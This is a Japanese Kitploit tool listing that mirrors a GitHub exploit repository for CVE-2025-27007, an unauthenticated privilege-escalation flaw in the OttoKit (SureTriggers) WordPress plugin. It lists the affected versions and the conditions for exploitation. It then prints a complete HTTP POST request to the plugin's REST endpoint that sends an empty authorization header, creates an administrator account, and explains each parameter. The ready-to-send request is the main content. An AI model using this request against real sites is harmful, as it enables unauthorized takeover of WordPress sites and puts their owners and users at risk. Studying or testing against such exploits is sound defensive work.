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CVE-2025-27007-OttoKit-exploit — CVE-2025-27007を悪用する、OttoKit(旧SureTriggers)WordPressプラグインにおける重大な認証不要の権限昇格脆弱性 | Kitploit
ツール/GitHubGitHub/absholi7ly/cve-2025-27007-ottokit-exploit
特権昇格脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト認証レッドチーミング
GitHubabsholi7ly/cve-2025-27007-ottokit-exploit

CVE-2025-27007-OttoKit-exploit

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CVE-2025-27007を悪用する、OttoKit(旧SureTriggers)WordPressプラグインにおける重大な認証不要の権限昇格脆弱性

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21年前未レビュー

CVE-2025-27007: OttoKit (SureTriggers) 権限昇格の脆弱性

CVE-2025-27007の悪用: WordPress用OttoKitプラグイン(旧SureTriggers)における不正な権限昇格の重大な脆弱性。このリポジトリでは、攻撃者が脆弱なWordPressサイトで管理者アカウントを作成する方法を説明します。

影響を受けるバージョン

  • OttoKit(SureTriggers)の全バージョン ≤ 1.0.82。
  • バージョン 1.0.83 で修正済み。

悪用条件

以下の状況でこの脆弱性が悪用される可能性があります:

  1. 対象のWordPressサイトにOttoKitがインストールされ、有効化されていること。
  2. プラグインが未初期化(例:データベースにAPIキーや"secret_key"が設定されていない)であること。
  3. 対象サイトにREST APIエンドポイント '/wp-json/sure-triggers/v1/automation/action' が存在すること。

HTTPリクエスト

以下のリクエストは、管理者アカウントを作成するために /wp-json/sure-triggers/v1/automation/action エンドポイントを対象としています:

root@kitploit:~
POST /wp-json/sure-triggers/v1/automation/action HTTP/1.1
Host: [target-site]
Content-Type: application/x-www-form-urlencoded
St-Authorization: 
Content-Length: [length]

selected_options[user_name]=new_admin&selected_options[user_email][email protected]&selected_options[password]=StrongP@ssw0rd123&selected_options[role]=administrator&aintegration=WordPress&type_event=create_user_if_not_exists


リクエストの説明

  • Endpoint: POST /wp-json/sure-triggers/v1/automation/action

  • St-Authorization: (空): プラグインが未設定の場合、認証をバイパスします。

  • selected_options[user_name]: 新しいアカウントのユーザー名(例:new_admin)。

  • selected_options[user_email]: 新しいアカウントのメールアドレス(例:[email protected])。

  • selected_options[password]: 新しいアカウントのパスワード(例:StrongP@ssw0rd123)。

  • selected_options[role]: administratorに設定して完全な権限を付与。

  • type_event: create_user_if_not_existsに設定してユーザー作成をトリガー。

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